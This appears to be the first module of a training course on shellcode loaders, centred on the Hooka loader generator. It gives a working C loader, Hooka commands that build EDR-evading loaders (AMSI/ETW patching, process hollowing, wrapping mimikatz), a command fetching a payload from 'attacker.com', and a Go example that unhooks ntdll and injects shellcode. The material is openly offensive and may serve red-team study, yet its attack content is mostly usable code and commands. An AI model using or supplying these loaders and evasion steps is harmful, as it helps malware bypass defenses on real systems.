Module 1: Introduction to Shellcode Loaders

Generate, evade, inject, execute — the four-word story of every loader.

1. What Is a Shellcode Loader?

A shellcode loader is a program whose sole purpose is to take raw shellcode (position-independent machine code), place it into executable memory, and transfer control to it. The shellcode itself typically establishes a C2 channel (e.g., a Cobalt Strike Beacon or Meterpreter session), but it cannot run on its own — it needs a host process and memory to live in.

Every shellcode loader follows a three-stage lifecycle:

Stage 1 produces the raw payload. Stage 2 wraps it in layers of protection so it survives the gauntlet of security products. Stage 3 gets the shellcode into memory and hands off execution. A loader is only as good as the weakest link in this chain.

C// Naive loader - detected by every AV/EDR
unsigned char shellcode[] = { 0xfc, 0x48, 0x83, ... };

void* mem = VirtualAlloc(NULL, sizeof(shellcode),
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
((void(*)())mem)();  // jump to shellcode

2. Why Loaders Exist: EDR Detection Layers

Modern Endpoint Detection and Response (EDR) solutions deploy multiple overlapping detection layers. A loader must survive all of them, not just one:

3. Introducing Hooka

Hooka is a Go-based shellcode loader generator and library created by D3Ext. What makes Hooka unique is its dual-purpose architecture: it functions both as a CLI tool that generates complete loader executables and as a fully importable Go package (pkg/hooka) with 40+ exported functions that you can use in your own custom tooling.

How Hooka Works at a High Level

The CLI accepts shellcode from a file, a PE executable (converts to shellcode via sRDI), a DLL (also sRDI-converted), or a remote URL. It then applies the selected encryption algorithm, wraps the decryption-and-injection logic in Go source code using the chosen technique, layers on evasion features, and compiles the result into a Windows EXE or DLL.

4. Feature Overview

Hooka packs an extensive feature set into a single tool. Here is a summary of its major capabilities:

5. Hooka vs The Competition

Several other tools occupy the same space as Hooka. This comparison highlights where each tool excels:

6. Source Code Structure

Understanding Hooka's repository layout helps you navigate the codebase for the rest of this course:

TextHooka/
+-- cmd/
|   +-- hooka/
|       +-- main.go          # CLI entry point, flag parsing
|       +-- banner.go        # ASCII banner and version info
+-- pkg/
|   +-- hooka/
|       +-- hooka.go         # Core loader generation logic
|       +-- injection.go     # All injection technique implementations
|       +-- syscalls.go      # Direct syscalls, SSN resolution
|       +-- gates.go         # Hell's Gate, Halo's Gate, Tartarus' Gate
|       +-- unhook.go        # Classic, Full DLL, Perun's Fart unhooking
|       +-- patching.go      # AMSI and ETW patching functions
|       +-- sandbox.go       # All 9 sandbox detection checks
|       +-- encryption.go    # AES, 3DES, RC4, XOR implementations
|       +-- hashing.go       # API hashing (MD5, SHA1, SHA256)
|       +-- process.go       # Process enumeration, Phant0m
|       +-- utils.go         # Helper functions
|       +-- evasion.go       # ACG Guard, BlockDLLs, sleep
|       +-- srdi.go          # Shellcode Reflective DLL Injection
|       +-- signing.go       # Code signing utilities
|       +-- types.go         # Struct definitions and constants
|       +-- callbacks.go     # Callback-based execution methods
+-- examples/                # Example usage of the Go library
+-- build/                   # Build scripts and Makefile
+-- go.mod                   # Go module definition
+-- go.sum                   # Dependency checksums

The pkg/hooka/ directory contains 16 source files and is where all the real logic lives. Each file groups related functionality, making it straightforward to find the implementation of any specific technique.

7. Setting Up Your Lab

Before proceeding to hands-on modules, ensure you have a suitable environment:

Bash# Clone and build Hooka
git clone https://github.com/D3Ext/Hooka
cd Hooka
go build -o hooka ./cmd/hooka/

# Verify installation
./hooka --help

# Generate test shellcode with msfvenom
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

8. Quick Start: Your First Loader

To illustrate how Hooka works end-to-end, here is the simplest possible CLI invocation that generates a working loader:

Bash# Generate a calc.exe shellcode payload
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

# Generate a loader with default settings:
#   Injection: SuspendedProcess
#   Encryption: AES
#   AMSI patching: enabled
#   ETW patching: enabled
./hooka -i calc.bin -o loader.exe

# Or generate a DLL instead of an EXE
./hooka -i calc.bin -o loader.dll --dll

# Use process hollowing with RC4 encryption
./hooka -i calc.bin -o loader.exe -t ProcessHollowing -e rc4

# Enable API hashing for additional stealth
./hooka -i calc.bin -o loader.exe --hashing

# Convert a PE executable to shellcode (sRDI) and wrap it
./hooka -i mimikatz.exe -o loader.exe --pe

# Load shellcode from a remote URL
./hooka -i http://attacker.com/payload.bin -o loader.exe --url

The generated executable is a standalone Windows binary with no external dependencies. When executed on the target, it patches AMSI, patches ETW, decrypts the shellcode in memory, creates a suspended process, writes the shellcode, and resumes the thread.

9. Using Hooka as a Go Library

Beyond the CLI, you can import Hooka as a Go package and call individual functions. This is the library mode that sets Hooka apart from every other tool in its class:

Gopackage main

import (
    "fmt"
    "os"
    "github.com/D3Ext/Hooka/pkg/hooka"
)

func main() {
    // Read raw shellcode
    sc, _ := os.ReadFile("calc.bin")

    // Encrypt with AES
    key := hooka.RandomBytes(32)
    encrypted, _ := hooka.AesEncrypt(sc, key)

    // Patch AMSI and ETW before doing anything suspicious
    hooka.PatchAmsi()
    hooka.PatchEtw()

    // Unhook ntdll to remove EDR visibility
    hooka.PerunsUnhook()

    // Decrypt and inject
    decrypted, _ := hooka.AesDecrypt(encrypted, key)
    hooka.NtCreateThreadEx(decrypted)

    fmt.Println("Shellcode executed")
}

10. Course Roadmap

This course is structured to build understanding progressively. Here is what each module covers and why the order matters: